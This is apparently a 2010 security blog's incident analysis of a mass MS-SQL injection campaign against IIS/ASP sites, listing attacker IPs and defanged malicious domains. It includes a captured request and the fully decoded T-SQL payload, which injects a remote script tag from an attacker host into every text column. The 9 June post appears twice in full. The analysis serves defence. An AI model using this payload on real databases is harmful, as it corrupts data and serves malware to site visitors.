I'm continuing to see ongoing SQLi attempts using the same injection technique we saw a couple of weeks ago. As one would expect the third-party site hosting the malicious JavaScript keeps changing. Below is a list of both the source IP addresses of the attempted SQLi attack as well as the script URL they're trying to inject:
**Last Updated 24-Jun-2010 12:45 EDT**
Source IP addresses of SQLi attacks:
86.197.85.243
218.248.42.113
Malicious Script URLs:
hxxp://oem.webserviceget.ru/js.js
hxxp://org.webservicefull.ru/js.js
hxxp://kernel.webserviceget.ru/js.js
These have been reported to MalwareDomains, ISC, Sucuri and Shadowservers.
Thursday, June 24, 2010
Wednesday, June 9, 2010
Anatomy of the latest Mass IIS/ASP infection
Over at sucuri they've blogged about the latest mass iis/asp infection. I was alerted to the first attempts against some of my sites Monday June 7 at 9:30 a.m. thanks to OSSEC. We've seen this type of mass sql injection several times in the past few years so why haven't sites smartened up? Anyways, here's a quick anatomy of this specific attempt.
Original web request (payload truncated for readability):
2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - www.website.com 200 0 0 32068 1685 0
When we pull this apart we have:
dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076........6F523B2D2D
eXEc(@s)--
So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':
0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.
cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E
decoded:
0x<script src=hxxp://ww.robint.us/u.js></script>
UPDATED 11/06/10
Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:
hxxp://2677.in
hxxp://bbs.cnzz.com
hxxp://data.cnzz.com
hxxp://doc.cnzz.com
hxxp://go.cnzz.com
hxxp://liuyan.cnzz.com
hxxp:/miibeian.gov.cn
hxxp://new.cnzz.com
hxxp://s11.cnzz.com
hxxp://si1.cnzz.com
hxxp://tool.chinaz.com
hxxp://v1.cnzz.com
hxxp://w.cnzz.com
hxxp://www.cnzz.com
hxxp://www.lianmeng.com
hxxp://zs13.cnzz.com
UPDATE #2 11/06/10
I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.
https://www.virustotal.com/analisis/725f0cc85e34151e7e6af81a4f221b47a6825944cbaf68a4b5daf4023e5143e4-1276275724
UPDATE #3 11/06/10
There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.
Original web request (payload truncated for readability):
2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - www.website.com 200 0 0 32068 1685 0
When we pull this apart we have:
dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076........6F523B2D2D
eXEc(@s)--
So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':
0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.
cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E
decoded:
0x<script src=hxxp://ww.robint.us/u.js></script>
UPDATED 11/06/10
Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:
hxxp://2677.in
hxxp://bbs.cnzz.com
hxxp://data.cnzz.com
hxxp://doc.cnzz.com
hxxp://go.cnzz.com
hxxp://liuyan.cnzz.com
hxxp:/miibeian.gov.cn
hxxp://new.cnzz.com
hxxp://s11.cnzz.com
hxxp://si1.cnzz.com
hxxp://tool.chinaz.com
hxxp://v1.cnzz.com
hxxp://w.cnzz.com
hxxp://www.cnzz.com
hxxp://www.lianmeng.com
hxxp://zs13.cnzz.com
UPDATE #2 11/06/10
I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.
https://www.virustotal.com/analisis/725f0cc85e34151e7e6af81a4f221b47a6825944cbaf68a4b5daf4023e5143e4-1276275724
UPDATE #3 11/06/10
There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.
Subscribe to:
Posts (Atom)